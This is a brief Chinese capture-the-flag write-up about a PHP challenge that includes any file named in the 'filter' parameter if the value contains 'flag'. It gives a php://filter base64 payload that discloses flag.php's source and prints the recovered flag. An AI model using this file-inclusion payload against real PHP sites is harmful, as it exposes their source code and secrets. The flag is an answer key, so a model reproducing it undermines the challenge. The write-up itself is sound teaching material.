本文最后更新于175 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
分析代码:
这段 PHP 代码的主要功能是根据
GET
请求中的filter
参数来决定执行的操作。如果filter
参数存在,代码会获取其值并赋值给$file
。然后,通过preg_match
函数进行正则表达式匹配,检查$file
中是否包含不区分大小写的flag
字符串。若不包含,则输出error
并终止脚本执行;若包含,则使用include
函数尝试包含$file
所指定的文件。若filter
参数不存在,则使用highlight_file
函数显示当前文件(即该 PHP 脚本自身)的源代码。
尝试进行文件包含
发现参数是filter,可以尝试用php伪协议
?filter=php://filter/read=convert.base64-encode/resource=flag.php
解码:
<?php
$flag = ‘flag=NSSCTF{30e157e1-376b-46d4-bc55-80c8afb35902}’;
?>
总结
php伪协议
php://filter